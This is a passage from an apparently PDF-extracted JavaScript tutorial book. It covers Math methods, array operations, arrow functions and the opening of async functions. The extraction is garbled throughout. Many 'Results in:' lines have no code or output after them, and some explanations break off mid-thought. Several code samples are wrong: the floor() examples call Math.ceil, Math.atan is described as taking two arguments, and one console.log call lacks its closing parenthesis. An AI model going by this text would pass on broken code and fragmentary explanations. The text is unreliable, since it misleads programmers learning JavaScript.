Math.floor(Math.random() * 10) + 1;
// randomBetween(5, 20);
Math.floor(Math.random() * 16) + 5;
// randomBetween(-10, -2);
Math.floor(Math.random() * 9) - 10;
The Math.random() function should give random numbers that have a standard deviation
approaching 0. When picking from a deck of card, or simulating a dice roll this is what we want.
But in most situations this is unrealistic. In the real world the randomness tends to gather around
an common normal value. If plotted on a graph you get the classical bell curve or gaussian
distribution.
Adding a random value to the last increases the variance of the random numbers. Dividing by the
number of times you add normalises the result to a range of 0–1
As adding more than a few randoms is messy a simple function will allow you to select a variance
you want.
https://riptutorial.com/ 34
www.dbooks.org
for(var i = v; i > 0; i --){
r += Math.random();
}
return r / v;
}
The image shows the distribution of random values for different values of v. The top left is
standard single Math.random() call the bottom right is Math.random() summed 8 times. This is from
5,000,000 samples using Chrome
ceil()
The ceil() method rounds a number upwards to the nearest integer, and returns the result.
Syntax:
Math.ceil(n);
Example:
console.log(Math.ceil(0.60)); // 1
console.log(Math.ceil(0.40)); // 1
console.log(Math.ceil(5.1)); // 6
console.log(Math.ceil(-5.1)); // -5
console.log(Math.ceil(-5.9)); // -5
floor()
The floor() method rounds a number downwards to the nearest integer, and returns the result.
Syntax:
Math.floor(n);
Example:
console.log(Math.ceil(0.60)); // 0
console.log(Math.ceil(0.40)); // 0
console.log(Math.ceil(5.1)); // 5
https://riptutorial.com/ 35
console.log(Math.ceil(-5.1)); // -6
console.log(Math.ceil(-5.9)); // -6
If you are working with vectors or lines you will at some stage want to get the direction of a vector,
or line. Or the direction from a point to another point.
Math.atan(yComponent, xComponent) return the angle in radius within the range of -Math.PI to Math.PI
(-180 to 180 deg)
Direction of a vector
Direction of a line
var line = {
p1 : { x : 100, y : 128},
p2 : { x : 320, y : 256}
}
// get the direction from p1 to p2
var dir = Math.atan2(line.p2.y - line.p1.y, line.p2.x - line.p1.x); // 0.5269432271894297
If you have a vector in polar form (direction & distance) you will want to convert it to a cartesian
vector with a x and y component. For referance the screen coordinate system has directions as 0
deg points from left to right, 90 (PI/2) point down the screen, and so on in a clock wise direction.
You can also ignore the distance to create a normalised (1 unit long) vector in the direction of dir
https://riptutorial.com/ 36
www.dbooks.org
vec.y = Math.sin(dir); // get the y component
If your coordinate system has y as up then you need to switch cos and sin. In this case a positive
direction is in a counterclockwise direction from the x axis.
Math.hypot
To find the distance between two points we use pythagoras to get the square root of the sum of
the square of the component of the vector between them.
Now you don't have to hold the interim vars to stop the code becoming a mess of variables
// find distance in 3D
var v1 = {x : 10, y : 5, z : 7};
var v2 = {x : 20, y : 10, z : 16};
var dist = Math.hypot(v2.x - v1.x, v2.y - v1.y, v2.z - v1.z); // 14.352700094407325
Math.sin and Math.cos are cyclic with a period of 2*PI radians (360 deg) they output a wave with an
https://riptutorial.com/ 37
amplitude of 2 in the range -1 to 1.
They are both very handy for many types of periodic calculations, from creating sound waves, to
animations, and even encoding and decoding image data
This example shows how to create a simple sin wave with control over period/frequency, phase,
amplitude, and offset.
In almost all cases you will want to make some changes to the value returned. The common terms
for modifications
• Phase: The offset in terms of frequency from the start of the oscillations. It is a value in the
range of 0 to 1 where the value 0.5 move the wave forward in time by half its frequency. A
value of 0 or 1 makes no change.
• Amplitude: The distance from the lowest value and highest value during one cycle. An
amplitude of 1 has a range of 2. The lowest point (trough) -1 to the highest (peak) 1. For a
wave with frequency 1 the peak is at 0.25 seconds, and trough at 0.75.
• Offset: moves the whole wave up or down.
https://riptutorial.com/ 38
www.dbooks.org
function oscillator(time, frequency = 1, amplitude = 1, phase = 0, offset = 0){
var t = time * frequency * Math.PI * 2; // get phase at time
t += phase * Math.PI * 2; // add the phase offset
var v = Math.sin(t); // get the value at the calculated position in the cycle
v *= amplitude; // set the amplitude
v += offset; // add the offset
return v;
}
Sometimes you may only need to simulate an event with two outcomes, maybe with different
probabilities, but you may find yourself in a situation that calls for many possible outcomes with
different probabilities. Let's imagine you want to simulate an event that has six equally probable
outcomes. This is quite simple.
function simulateEvent(numEvents) {
var event = Math.floor(numEvents*Math.random());
return event;
}
However, you may not want equally probable outcomes. Say you had a list of three outcomes
represented as an array of probabilities in percents or multiples of likelihood. Such an example
might be a weighted die. You could rewrite the previous function to simulate such an event.
function simulateEvent(chances) {
var sum = 0;
chances.forEach(function(chance) {
sum+=chance;
});
var rand = Math.random();
var chance = 0;
for(var i=0; i<chances.length; i++) {
chance+=chances[i]/sum;
if(rand<chance) {
return i;
}
}
https://riptutorial.com/ 39
}
// using probabilities
console.log("Rolled a "+(simulateEvent([1/7,1/7,1/7,1/7,1/7,2/7])+1)); // Rolled a 6
As you probably noticed, these functions return an index, so you could have more descriptive
outcomes stored in an array. Here's an example.
Little / Big endian for typed arrays when using bitwise operators
If the system uses Little-Endian, then the 8bit byte values will be
console.log(data8[0].toString(16)); // 0x44
console.log(data8[1].toString(16)); // 0x33
console.log(data8[2].toString(16)); // 0x22
console.log(data8[3].toString(16)); // 0x11
If the system uses Big-Endian, then the 8bit byte values will be
https://riptutorial.com/ 40
www.dbooks.org
console.log(data8[0].toString(16)); // 0x11
console.log(data8[1].toString(16)); // 0x22
console.log(data8[2].toString(16)); // 0x33
console.log(data8[3].toString(16)); // 0x44
Math.max(4, 12); // 12
Math.max(-1, -15); // -1
Math.min(4, 12); // 4
Math.min(-1, -15); // -15
console.log(max); // Logs: 9
console.log(min); // Logs: 1
console.log(max); // Logs: 9
https://riptutorial.com/ 41
console.log(min); // Logs: 1
Square Root
Use Math.sqrt() to find the square root of a number
Math.sqrt(16) #=> 4
Cube Root
To find the cube root of a number, use the Math.cbrt() function
Math.cbrt(27) #=> 3
Finding nth-roots
To find the nth-root, use the Math.pow() function and pass in a fractional exponent.
https://riptutorial.com/ 42
www.dbooks.org
Chapter 6: Arrays
Syntax
• array = [value, value, ...]
• array = new Array(value, value, ...)
• array = Array.of(value, value, ...)
• array = Array.from(arrayLike)
Remarks
Summary: Arrays in JavaScript are, quite simply, modified Object instances with an advanced
prototype, capable of performing a variety of list-related tasks. They were added in ECMAScript
1st Edition, and other prototype methods arrived in ECMAScript 5.1 Edition.
Warning: If a numeric parameter called n is specified in the new Array() constructor, then it will
declare an array with n amount of elements, not declare an array with 1 element with the value of
n!
That being said, you should always use [] when declaring an array:
Examples
Standard array initialization
There are many ways to create arrays. The most common are to use array literals, or the Array
constructor:
results in:
[]
Note that if it's used with exactly one argument and that argument is a number, an array of that
https://riptutorial.com/ 43
length with all undefined values will be created instead:
results in:
results in:
["foo"]
Similar to an array literal, Array.of can be used to create a new Array instance given a number of
arguments:
results in:
In contrast to the Array constructor, creating an array with a single number such as Array.of(23)
will create a new array [23], rather than an Array with length 23.
will result:
Spread operator
With ES6, you can use spreads to separate individual elements into a comma-separated syntax:
https://riptutorial.com/ 44
www.dbooks.org
// in ES < 6, the operations above are equivalent to
arr = [1, 2, 3];
arr.push(4, 5, 6);
The spread operator also acts upon strings, separating each individual character into a new string
element. Therefore, using an array function for converting these into integers, the array created
above is equivalent to the one below:
The spread operator can also be used to spread arguments into a function:
function myFunction(a, b, c) { }
let args = [0, 1, 2];
myFunction(...args);
Rest operator
The rest operator does the opposite of the spread operator by coalescing several elements into a
single one
Mapping values
It is often necessary to generate a new array based on the values of an existing array.
5.1
https://riptutorial.com/ 45
['one', 'two', 'three', 'four'].map(function(value, index, arr) {
return value.length;
});
// → [3, 3, 5, 4]
In this example, an anonymous function is provided to the map() function, and the map function will
call it for every element in the array, providing the following parameters, in this order:
Additionally, map() provides an optional second parameter in order to set the value of this in the
mapping function. Depending on the execution environment, the default value of this might vary:
Filtering values
The filter() method creates an array filled with all array elements that pass a test provided as a
function.
5.1
https://riptutorial.com/ 46
www.dbooks.org
Results in a new array:
[3, 4, 5]
Since Boolean is a native javascript function/constructor that takes [one optional parameter] and
the filter method also takes a function and passes it the current array item as parameter, you could
read it like the following:
[ {}, true, 5 ]
5.1
function startsWithLetterA(str) {
if(str && str[0].toLowerCase() == 'a') {
return true
}
return false;
}
Iteration
https://riptutorial.com/ 47
A traditional for-loop
1. The initialization: executed before the look block is executed the first time
2. The condition: checks a condition every time before the loop block is executed, and quits
the loop if false
3. The afterthought: performed every time after the loop block is executed
These three components are separated from each other by a ; symbol. Content for each of these
three components is optional, which means that the following is the most minimal for loop
possible:
for (;;) {
// Do stuff
}
Of course, you will need to include an if(condition === true) { break; } or an if(condition ===
true) { return; } somewhere inside that for-loop to get it to stop running.
Usually, though, the initialization is used to declare an index, the condition is used to compare that
index with a minimum or maximum value, and the afterthought is used to increment the index:
There are, however, many variations possible, like for example this one:
for (var key = 0, value = myArray[key], length = myArray.length; key < length; value =
myArray[++key]) {
console.log(value);
}
https://riptutorial.com/ 48
www.dbooks.org
var i = 0, length = myArray.length;
for (; i < length;) {
console.log(myArray[i]);
i++;
}
Whichever works best is largely a matter of both personal taste and the specific use case you're
implementing.
Note that each of these variations is supported by all browsers, including very very old ones!
A while loop
One alternative to a for loop is a while loop. To loop through an array, you could do this:
var key = 0;
while(value = myArray[key++]){
console.log(value);
}
Like traditional for loops, while loops are supported by even the oldest of browsers.
Also, note that every while loop can be rewritten as a for loop. For example, the while loop
hereabove behaves the exact same way as this for-loop:
for...in
for (i in myArray) {
console.log(myArray[i]);
}
This should be used with care, however, as it doesn't behave the same as a traditional for loop in
all cases, and there are potential side-effects that need to be considered. See Why is using
"for...in" with array iteration a bad idea? for more details.
for...of
https://riptutorial.com/ 49
In ES 6, the for-of loop is the recommended way of iterating over a the values of an array:
The following example shows the difference between a for...of loop and a for...in loop:
Array.prototype.keys()
The Array.prototype.keys() method can be used to iterate over indices like this:
Array.prototype.forEach()
The .forEach(...) method is an option in ES 5 and above. It is supported by all modern browsers,
as well as Internet Explorer 9 and later.
Comparing with the traditional for loop, we can't jump out of the loop in .forEach(). In this case,
use the for loop, or use partial iteration presented below.
https://riptutorial.com/ 50
www.dbooks.org
In all versions of JavaScript, it is possible to iterate through the indices of an array using a
traditional C-style for loop.
Array.prototype.every
Since ES5, if you want to iterate over a portion of an array, you can use Array.prototype.every,
which iterates until we return false:
Array.prototype.some
https://riptutorial.com/ 51
Equivalent in any JavaScript version:
Libraries
Finally, many utility libraries also have their own foreach variation. Three of the most popular ones
are these:
jQuery.each(), in jQuery:
_.each(), in Underscore.js:
_.forEach(), in Lodash.js:
See also the following question on SO, where much of this information was originally posted:
The filter() method accepts a test function, and returns a new array containing only the elements
of the original array that pass the test provided.
5.1
https://riptutorial.com/ 52
www.dbooks.org
let odd = numbers.filter(n => n % 2 !== 0); // can be shortened to (n => n % 2)
var people = [{
id: 1,
name: "John",
age: 28
}, {
id: 2,
name: "Jane",
age: 31
}, {
id: 3,
name: "Peter",
age: 55
}];
5.1
[{
id: 1,
name: "John",
age: 28
}, {
id: 2,
name: "Jane",
age: 31
}]
You can search in the whole array for a value like this:
https://riptutorial.com/ 53
This returns:
[{
id: 1,
name: "John",
age: 28
},{
id: 2,
name: "Jane",
age: 31
}]
To join all of an array's elements into a string, you can use the join method:
As you can see in the second line, items that are not strings will be converted first.
JavaScript has "Array-like Objects", which are Object representations of Arrays with a length
property. For example:
Common examples of Array-like Objects are the arguments object in functions and HTMLCollection
or NodeList objects returned from methods like document.getElementsByTagName or
document.querySelectorAll.
However, one key difference between Arrays and Array-like Objects is that Array-like objects
inherit from Object.prototype instead of Array.prototype. This means that Array-like Objects can't
access common Array prototype methods like forEach(), push(), map(), filter(), and slice():
https://riptutorial.com/ 54
www.dbooks.org
function func() {
console.log(arguments);
}
func(1, 2, 3); // → [1, 2, 3]
1. Array.from:
const arrayLike = {
0: 'Value 0',
1: 'Value 1',
length: 2
};
arrayLike.forEach(value => {/* Do something */}); // Errors
const realArray = Array.from(arrayLike);
realArray.forEach(value => {/* Do something */}); // Works
2. for...of:
3. Spread operator:
[...arrayLike]
4. Object.values:
5. Object.keys:
https://riptutorial.com/ 55
Use Array.prototype.slice like so:
var arrayLike = {
0: 'Value 0',
1: 'Value 1',
length: 2
};
var realArray = Array.prototype.slice.call(arrayLike);
realArray = [].slice.call(arrayLike); // Shorter version
You can also use Function.prototype.call to call Array.prototype methods on Array-like objects
directly, without converting them:
5.1
domList.forEach(function() {
// Do stuff
}); // Error! forEach is not defined.
Array.prototype.forEach.call(domList, function() {
// Do stuff
}); // Wow! this works
You can also use [].method.bind( arrayLikeObject ) to borrow array methods and glom them on to
your object:
5.1
var arrayLike = {
0: 'Value 0',
1: 'Value 1',
length: 2
};
arrayLike.forEach(function() {
// Do stuff
}); // Error! forEach is not defined.
[].forEach.bind(arrayLike)(function(val){
// Do stuff with val
}); // Wow! this works
In ES6, while using Array.from, we can specify a map function that returns a mapped value for the
new array being created.
https://riptutorial.com/ 56
www.dbooks.org
See Arrays are Objects for a detailed analysis.
Reducing values
5.1
The reduce() method applies a function against an accumulator and each value of the array (from
left-to-right) to reduce it to a single value.
Array Sum
This method can be used to condense all values of an array into a single value:
[1, 2, 3, 4].reduce(function(a, b) {
return a + b;
});
// → 10
Optional second parameter can be passed to reduce(). Its value will be used as the first argument
(specified as a) for the first call to the callback (specified as function(a, b)).
[2].reduce(function(a, b) {
console.log(a, b); // prints: 1 2
return a + b;
}, 1);
// → 3
5.1
var array = [{
key: 'one',
value: 1
}, {
key: 'two',
value: 2
}, {
key: 'three',
value: 3
}];
5.1
array.reduce(function(obj, current) {
obj[current.key] = current.value;
return obj;
}, {});
6
https://riptutorial.com/ 57
array.reduce((obj, current) => Object.assign(obj, {
[current.key]: current.value
}), {});
Note that the Rest/Spread Properties is not in the list of finished proposals of ES2016. It isn't
supported by ES2016. But we can use babel plugin babel-plugin-transform-object-rest-spread to
support it.
{
one: 1,
two: 2,
three: 3
}
5.1
// Usage:
map([1, 2, 3], function(n) { return n * n; });
// → [1, 4, 9]
Note that this is for illustration (of the initial value parameter) only, use the native map for working
with list transformations (see Mapping values for the details).
5.1
https://riptutorial.com/ 58
www.dbooks.org
var arr = [4, 2, 1, -10, 9]
arr.reduce(function(a, b) {
return a < b ? a : b
}, Infinity);
// → -10
5.1
While .some combines the return values with OR, .every combines them with AND.
[false, false].some(function(value) {
return value;
});
// Result: false
[false, true].some(function(value) {
return value;
});
// Result: true
[true, true].some(function(value) {
return value;
});
// Result: true
[false, false].every(function(value) {
return value;
https://riptutorial.com/ 59
});
// Result: false
[false, true].every(function(value) {
return value;
});
// Result: false
[true, true].every(function(value) {
return value;
});
// Result: true
Concatenating Arrays
Two Arrays
[1, 2, 3, 4, 5]
Multiple Arrays
https://riptutorial.com/ 60
www.dbooks.org
Results in a new Array:
longArray.push.apply(longArray, shortArray);
Use the spread operator to pass the elements of shortArray as separate arguments to push
longArray.push(...shortArray)
[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
Note that if the second array is too long (>100,000 entries), you may get a stack overflow error
(because of how apply works). To be safe, you can iterate instead:
shortArray.forEach(function (elem) {
longArray.push(elem);
});
https://riptutorial.com/ 61
var arr1 = ["a","b"];
var arr2 = ["e", "f"];
Unshift
Use .unshift to add one or more items in the beginning of an array.
For example:
[1, 2, 3, 4, 5, 6]
Push
Further .push is used to add items after the last currently existent item.
For example:
[1, 2, 3, 4, 5, 6]
var object = {
key1: 10,
key2: 3,
key3: 40,
key4: 20
};
https://riptutorial.com/ 62
www.dbooks.org
var array = [];
for(var people in object) {
array.push([people, object[people]]);
}
Now array is
[
["key1", 10],
["key2", 3],
["key3", 40],
["key4", 20]
]
var array = [
["key1", 10],
["key2", 3],
["key3", 40],
["key4", 20]
];
array.sort(function(a, b) {
return a[1] - b[1];
})
[
["key2", 3],
["key1", 10],
["key4", 20],
["key3", 40]
]
Be aware that the sort method operates on the array in place. It changes the array. Most other
array methods return a new array, leaving the original one intact. This is especially important to
note if you use a functional programming style and expect functions to not have side-effects.
Shift
https://riptutorial.com/ 63
Use .shift to remove the first item of an array.
For example:
[2, 3, 4]
Pop
Further .pop is used to remove the last item from an array.
For example:
[1, 2]
Splice
Use .splice() to remove a series of elements from an array. .splice() accepts two parameters,
the starting index, and an optional number of elements to delete. If the second parameter is left
out .splice() will remove all elements from the starting index through the end of the array.
For example:
[1, 4]
The return of array.splice() is a new array containing the removed elements. For the example
above, the return would be:
[2, 3]
Thus, omitting the second parameter effectively splits the array into two arrays, with the original
https://riptutorial.com/ 64
www.dbooks.org
ending before the index specified:
Delete
Use delete to remove item from array without changing the length of array:
Array.prototype.length
Assigning value to length of array changes the length to given value. If new value is less than
array length items will be removed from the end of value.
Reversing arrays
[1, 2, 3, 4].reverse();
Results in:
[4, 3, 2, 1]
Note: Please note that .reverse(Array.prototype.reverse) will reverse the array in place.
Instead of returning a reversed copy, it will return the same array, reversed.
https://riptutorial.com/ 65
function deepReverse(arr) {
arr.reverse().forEach(elem => {
if(Array.isArray(elem)) {
deepReverse(elem);
}
});
return arr;
}
deepReverse(arr);
Results in:
When you need to remove a specific value from an array, you can use the following one-liner to
create a copy array without the given value:
Or if you want to change the array itself without creating a copy (for example if you write a function
that get an array as a function and manipulates it) you can use this snippet:
And if you need to remove just the first value found, remove the while loop:
Array.isArray([]) // true
Array.isArray([1, 2, 3]) // true
Array.isArray({}) // false
Array.isArray(1) // false
https://riptutorial.com/ 66
www.dbooks.org
Array.isArray has the an advantage over using a instanceof check in that it will still return true
even if the prototype of the array has been changed and will return false if a non-arrays prototype
was changed to the Array prototype.
Sorting Arrays
The .sort() method sorts the elements of an array. The default method will sort the array
according to string Unicode code points. To sort an array numerically the .sort() method needs to
have a compareFunction passed to it.
Note: The .sort() method is impure. .sort() will sort the array in-place, i.e., instead of
creating a sorted copy of the original array, it will re-order the original array and return
it.
Default Sort
['s', 't', 'a', 34, 'K', 'o', 'v', 'E', 'r', '2', '4', 'o', 'W', -1, '-4'].sort();
Results in:
[-1, '-4', '2', 34, '4', 'E', 'K', 'W', 'a', 'l', 'o', 'o', 'r', 's', 't', 'v']
Note: The uppercase characters have moved above lowercase. The array is not in
alphabetical order, and numbers are not in numerical order.
Alphabetical Sort
['s', 't', 'a', 'c', 'K', 'o', 'v', 'E', 'r', 'f', 'l', 'W', '2', '1'].sort((a, b) => {
return a.localeCompare(b);
});
Results in:
['1', '2', 'a', 'c', 'E', 'f', 'K', 'l', 'o', 'r', 's', 't', 'v', 'W']
Note: The above sort will throw an error if any array items are not a string. If you know
that the array may contain items that are not strings use the safe version below.
['s', 't', 'a', 'c', 'K', 1, 'v', 'E', 'r', 'f', 'l', 'o', 'W'].sort((a, b) => {
return a.toString().localeCompare(b);
});
https://riptutorial.com/ 67
String sorting by length (longest first)
Results in
Results in
Results in:
Results in:
Results in:
https://riptutorial.com/ 68
www.dbooks.org
Date Sort (descending)
var dates = [
new Date(2007, 11, 10),
new Date(2014, 2, 21),
new Date(2009, 6, 11),
new Date(2016, 7, 23)
];
dates.sort(function(a, b) {
if (a > b) return -1;
if (a < b) return 1;
return 0;
});
Results in:
[
"Tue Aug 23 2016 00:00:00 GMT-0600 (MDT)",
"Fri Mar 21 2014 00:00:00 GMT-0600 (MDT)",
"Sat Jul 11 2009 00:00:00 GMT-0600 (MDT)",
"Mon Dec 10 2007 00:00:00 GMT-0700 (MST)"
]
Sometimes, you need to work with an array while ensuring you don't modify the original. Instead of
a clone method, arrays have a slice method that lets you perform a shallow copy of any part of an
array. Keep in mind that this only clones the first level. This works well with primitive types, like
numbers and strings, but not objects.
To shallow-clone an array (i.e. have a new array instance but with the same elements), you can
use the following one-liner:
This calls the built-in JavaScript Array.prototype.slice method. If you pass arguments to slice, you
can get more complicated behaviors that create shallow clones of only part of an array, but for our
purposes just calling slice() will create a shallow copy of the entire array.
All method used to convert array like objects to array are applicable to clone an array:
https://riptutorial.com/ 69
clone3 = [...arrayToClone] // the shortest way
5.1
Searching an Array
let people = [
{ name: "bob" },
{ name: "john" }
];
FindIndex
The findIndex() method returns an index in the array, if an element in the array satisfies the
provided testing function. Otherwise -1 is returned.
array = [
{ value: 1 },
{ value: 2 },
{ value: 3 },
{ value: 4 },
{ value: 5 }
];
var index = array.findIndex(item => item.value === 3); // 2
var index = array.findIndex(item => item.value === 12); // -1
The splice()method can be used to remove elements from an array. In this example, we remove
the first 3 from the array.
https://riptutorial.com/ 70
www.dbooks.org
var values = [1, 2, 3, 4, 5, 3];
var i = values.indexOf(3);
if (i >= 0) {
values.splice(i, 1);
}
// [1, 2, 4, 5, 3]
The splice() method can also be used to add elements to an array. In this example, we will insert
the numbers 6, 7, and 8 to the end of the array.
The first argument of the splice() method is the index at which to remove/insert elements. The
second argument is the number of elements to remove. The third argument and onwards are the
values to insert into the array.
Array comparison
For simple array comparison you can use JSON stringify and compare the output strings:
Note: that this will only work if both objects are JSON serializable and do not contain
cyclic references. It may throw TypeError: Converting circular structure to JSON
WARNING: Using the above function is dangerous and should be wrapped in a try catch if you
https://riptutorial.com/ 71
suspect there is a chance the array has cyclic references (a reference to an array that contains a
reference to itself)
a = [0] ;
a[1] = a;
b = [0, a];
compareArrays(a, b); // throws RangeError: Maximum call stack size exceeded
Note: The function uses the strict equality operator === to compare non array items {a:
0} === {a: 0} is false
Destructuring an array
console.log(b, c); // → 2, 4
area(triangle); // → 6
Notice the third argument is not named in the function because it's not needed.
https://riptutorial.com/ 72
www.dbooks.org
From ES5.1 onwards, you can use the native method Array.prototype.filter to loop through an
array and leave only entries that pass a given callback function.
In the following example, our callback checks if the given value occurs in the array. If it does, it is a
duplicate and will not be copied to the resulting array.
5.1
If your environment supports ES6, you can also use the Set object. This object lets you store
unique values of any type, whether primitive values or object references:
• Related SO answer
• Related answer with ES6
Method 1
Creates a new array and overwrites the existing array reference with a new one.
arr = [];
Care must be taken as this does not remove any items from the original array. The array may
have been closed over when passed to a function. The array will remain in memory for the life of
the function though you may not be aware of this. This is a common source of memory leaks.
var count = 0;
https://riptutorial.com/ 73
arr = ["big data"];
var i = 100;
while (i > 0) {
addListener(arr); // the array is passed to the function
arr = []; // only removes the reference, the original array remains
array.push("some large data"); // more memory allocated
i--;
}
// there are now 100 arrays closed over, each referencing a different array
// no a single item has been deleted
To prevent the risk of a memory leak use the one of the following 2 methods to empty the array in
the above example's while loop.
Method 2
Setting the length property deletes all array element from the new array length to the old array
length. It is the most efficient way to remove and dereference all items in the array. Keeps the
reference to the original array
arr.length = 0;
Method 3
Similar to method 2 but returns a new array containing the removed items. If you do not need the
items this method is inefficient as the new array is still created only to be immediately
dereferenced.
arr.splice(0); // should not use if you don't want the removed items
// only use this method if you do the following
var keepArr = arr.splice(0); // empties the array and creates a new array containing the
// removed items
Related question.
Array.prototype.map(): Returns a new array with the results of calling a provided function on every
element in the original array.
The following code example takes an array of persons and creates a new array containing
persons with a 'fullName' property
var personsArray = [
{
id: 1,
firstName: "Malcom",
lastName: "Reynolds"
}, {
id: 2,
https://riptutorial.com/ 74
www.dbooks.org
firstName: "Kaylee",
lastName: "Frye"
}, {
id: 3,
firstName: "Jayne",
lastName: "Cobb"
}
];
We can now call reformatPersons(personsArray) and received a new array of just the full names of
each person.
console.log(personsArray);
/// Output
[
{
firstName: "Malcom",
id: 1,
lastName: "Reynolds"
}, {
firstName: "Kaylee",
id: 2,
lastName: "Frye"
}, {
firstName: "Jayne",
id: 3,
lastName: "Cobb"
}
]
When we have two separate array and we want to make key value pair from that two array, we
https://riptutorial.com/ 75
can use array's reduce function like below:
console.log(result);
Output:
{
Date: "2001",
Number: "5",
Size: "Big",
Location: "Sydney",
Age: "25"
}
The .split() method splits a string into an array of substrings. By default .split() will break the
string into substrings on spaces (" "), which is equivalent to calling .split(" ").
The parameter passed to .split() specifies the character, or the regular expression, to use for
splitting the string.
To split a string into an array call .split with an empty string (""). Important Note: This only works
if all of your characters fit in the Unicode lower range characters, which covers most English and
most European languages. For languages that require 3 and 4 byte unicode characters, slice("")
will separate them.
The .every method tests if all array elements pass a provided predicate test.
To test all objects for equality, you can use the following code snippets.
https://riptutorial.com/ 76
www.dbooks.org
[1, 1, 1].every(function(item, i, list) { return item === list[0]; }); // true
let data = [
{ name: "alice", id: 111 },
{ name: "alice", id: 222 }
];
begin
end
Zero-based index which is the end of extraction, slicing up to this index but it's not included.
Example 1
// Let's say we have this Array of Alphabets
var arr = ["a", "b", "c", "d"...];
Example 2
// Let's say we have this Array of Numbers
https://riptutorial.com/ 77
// and I don't know it's end
var arr = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9...];
If your array or array-like object is numeric, that is, if all its elements are numbers, then you can
use Math.min.apply or Math.max.apply by passing null as the first argument, and your array as the
second.
Math.min.apply(null, myArray); // 1
Math.max.apply(null, myArray); // 4
In ES6 you can use the ... operator to spread an array and take the minimum or maximum
element.
5.1
myArray.reduce(function(a, b) {
return Math.min(a, b);
}); // 1
myArray.reduce(function(a, b) {
return Math.max(a, b);
}); // 4
https://riptutorial.com/ 78
www.dbooks.org
or using arrow functions:
5.1
To generalize the reduce version we'd have to pass in an initial value to cover the empty list case:
function myMax(array) {
return array.reduce(function(maxSoFar, element) {
return Math.max(maxSoFar, element);
}, -Infinity);
}
myMax([3, 5]); // 5
myMax([]); // -Infinity
Math.max.apply(null, []); // -Infinity
For the details on how to properly use reduce see Reducing values.
Flattening Arrays
2 Dimensional arrays
6
function flattenES6(arr) {
return [].concat(...arr);
}
function flatten(arr) {
return [].concat.apply([], arr);
}
https://riptutorial.com/ 79
var deeplyNested = [4,[5,6,[7,8],9]];
console.log(String(deeplyNested).split(',').map(Number);
#=> [4,5,6,7,8,9]
Or
Both of the above methods only work when the array is made up exclusively of numbers. A multi-
dimensional array of objects cannot be flattened by this method.
arr.splice(index, 0, item);
/* Syntax:
array.insert(index, value1, value2, ..., valueN) */
Array.prototype.insert = function(index) {
this.splice.apply(this, [index, 0].concat(
Array.prototype.slice.call(arguments, 1)));
return this;
};
["a", "b", "c", "d"].insert(2, "X", "Y", "Z").slice(1, 6); // ["b", "X", "Y", "Z", "c"]
/* Syntax:
array.insert(index, value1, value2, ..., valueN) */
Array.prototype.insert = function(index) {
index = Math.min(index, this.length);
arguments.length > 1
&& this.splice.apply(this, [index, 0].concat([].pop.call(arguments)))
&& this.insert.apply(this, arguments);
return this;
};
["a", "b", "c", "d"].insert(2, "V", ["W", "X", "Y"], "Z").join("-"); // "a-b-V-W-X-Y-Z-c-d"
https://riptutorial.com/ 80
www.dbooks.org
The entries() method returns a new Array Iterator object that contains the key/value pairs for each
index in the array.
for(const[index,element] of letters.entries()){
console.log(index,element);
}
result
0 "a"
1 "b"
2 "c"
Portions of this content from Array.prototype.entries by Mozilla Contributors licensed under CC-
by-SA 2.5
https://riptutorial.com/ 81
Chapter 7: Arrow Functions
Introduction
Arrow functions are a concise way of writing anonymous, lexically scoped functions in ECMAScript
2015 (ES6).
Syntax
• x => y // Implicit return
• const myFunc = x
=> x*2 // A line break before the arrow will throw a 'Unexpected token' error
Remarks
For more information on functions in JavaScript, please view the Functions documentation.
Arrow functions are part of the ECMAScript 6 specification, so browser support may be limited.
The following table shows the earliest browser versions that support arrow functions.
Examples
Introduction
In JavaScript, functions may be anonymously defined using the "arrow" (=>) syntax, which is
sometimes referred to as a lambda expression due to Common Lisp similarities.
https://riptutorial.com/ 82
www.dbooks.org
The simplest form of an arrow function has its arguments on the left side of => and the return value
on the right side:
If an arrow function takes a single parameter, the parentheses around that parameter are optional.
For example, the following expressions assign the same type of function into constant variables:
However, if the arrow function takes no parameters, or more than one parameter, a new set of
parentheses must encase all the arguments:
((bow, arrow) => bow + arrow)('I took an arrow ', 'to the knee...')
// -> "I took an arrow to the knee..."
If the function body doesn't consist of a single expression, it must be surrounded by brackets and
use an explicit return statement for providing a result:
(bar => {
const baz = 41;
return bar + baz;
})(1); // -> 42
If the arrow function's body consists only of an object literal, this object literal has to be enclosed in
parentheses:
The extra parentheses indicate that the opening and closing brackets are part of the object literal,
i.e. they are not delimiters of the function body.
Arrow functions are lexically scoped; this means that their this Binding is bound to the context of
the surrounding scope. That is to say, whatever this refers to can be preserved by using an arrow
function.
Take a look at the following example. The class Cow has a method that allows for it to print out the
sound it makes after 1 second.
https://riptutorial.com/ 83
class Cow {
constructor() {
this.sound = "moo";
}
makeSoundLater() {
setTimeout(() => console.log(this.sound), 1000);
}
}
betsy.makeSoundLater();
In the makeSoundLater() method, the this context refers to the current instance of the Cow object, so
in the case where I call betsy.makeSoundLater(), the this context refers to betsy.
By using the arrow function, I preserve the this context so that I can make reference to this.sound
when it comes time to print it out, which will properly print out "moo".
If you had used a regular function in place of the arrow function, you would lose the context of
being within the class, and not be able to directly access the sound property.
Arguments Object
Arrow functions do not expose an arguments object; therefore, arguments would simply refer to a
variable in the current scope.
Due to this, arrow functions are also not aware of their caller/callee.
While the lack of an arguments object can be a limitation in some edge cases, rest parameters are
generally a suitable alternative.
Implicit Return
Arrow functions may implicitly return values by simply omitting the curly braces that traditionally
wrap a function's body if their body only contains a single expression.
https://riptutorial.com/ 84
www.dbooks.org
When using implicit returns, object literals must be wrapped in parenthesis so that the curly braces
are not mistaken for the opening of the function's body.
Explicit Return
Arrow functions can behave very similar to classic functions in that you may explicitly return a
value from them using the return keyword; simply wrap your function's body in curly braces, and
return a value:
foo(1); // -> 2
Arrow functions will throw a TypeError when used with the new keyword.
https://riptutorial.com/ 85
Chapter 8: Async functions (async/await)
Introduction
asyncand await build on top of promises and generators to express asynchronous actions inline.
This makes asynchronous or callback code much easier to maintain.
Functions with the async keyword return a Promise, and can be called with that syntax.
Inside an async function the await keyword can be applied to any Promise, and will cause all of the
function body after the await to be executed after the promise resolves.
Syntax
• async function foo() {
...
await asyncCall()
}
• async function() { ... }
• async() => { ... }
• (async () => {
const data = await asyncCall()
console.log(data) })()
Remarks
Async functions are a syntactic sugar over promises and generators. They help you make your
code more readable, maintainable, easier to catch errors in, and with fewer levels of indentation.
Examples
Introduction
